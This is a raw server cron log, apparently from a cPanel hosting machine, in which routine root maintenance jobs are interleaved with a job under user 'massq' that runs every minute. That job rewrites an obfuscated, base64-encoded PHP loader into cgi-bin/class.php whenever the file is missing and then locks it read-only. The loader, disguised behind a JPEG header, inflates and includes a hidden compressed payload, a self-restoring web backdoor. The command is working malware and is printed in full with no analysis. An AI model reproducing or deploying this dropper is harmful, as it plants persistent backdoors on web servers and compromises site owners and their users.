Sep  2 19:07:01 server CROND[30893]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 19:07:01 server CROND[30894]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 19:07:01 server CROND[30895]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 19:08:01 server CROND[31363]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 19:08:01 server CROND[31364]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 19:08:01 server CROND[31365]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 19:09:01 server CROND[31798]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 19:09:01 server CROND[31799]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 19:09:01 server CROND[31801]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 19:09:01 server CROND[31800]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  2 19:10:01 server CROND[32187]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 19:10:01 server CROND[32189]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 19:10:01 server CROND[32194]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 19:10:01 server CROND[32191]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 19:10:01 server CROND[32193]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 19:10:01 server CROND[32195]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 19:10:01 server CROND[32192]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 19:10:01 server CROND[32190]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 19:11:01 server CROND[570]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 19:11:01 server CROND[571]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 19:11:01 server CROND[573]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 19:12:01 server CROND[970]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 19:12:01 server CROND[971]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 19:12:01 server CROND[972]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 19:12:01 server CROND[973]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 19:13:01 server CROND[1433]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 19:13:01 server CROND[1434]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 19:13:01 server CROND[1435]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 19:14:01 server CROND[1913]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 19:14:01 server CROND[1914]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 19:14:01 server CROND[1915]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 19:15:01 server CROND[2341]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 19:15:01 server CROND[2342]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 19:15:01 server CROND[2343]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 19:15:01 server CROND[2352]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 19:15:01 server CROND[2354]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 19:15:01 server CROND[2353]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 19:15:01 server CROND[2355]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 19:15:01 server CROND[2351]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  2 19:16:01 server CROND[3274]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 19:16:01 server CROND[3275]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 19:16:01 server CROND[3276]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 19:17:01 server CROND[3979]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 19:17:01 server CROND[3980]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 19:17:01 server CROND[3981]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 19:18:01 server CROND[4378]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 19:18:01 server CROND[4379]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 19:18:01 server CROND[4380]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
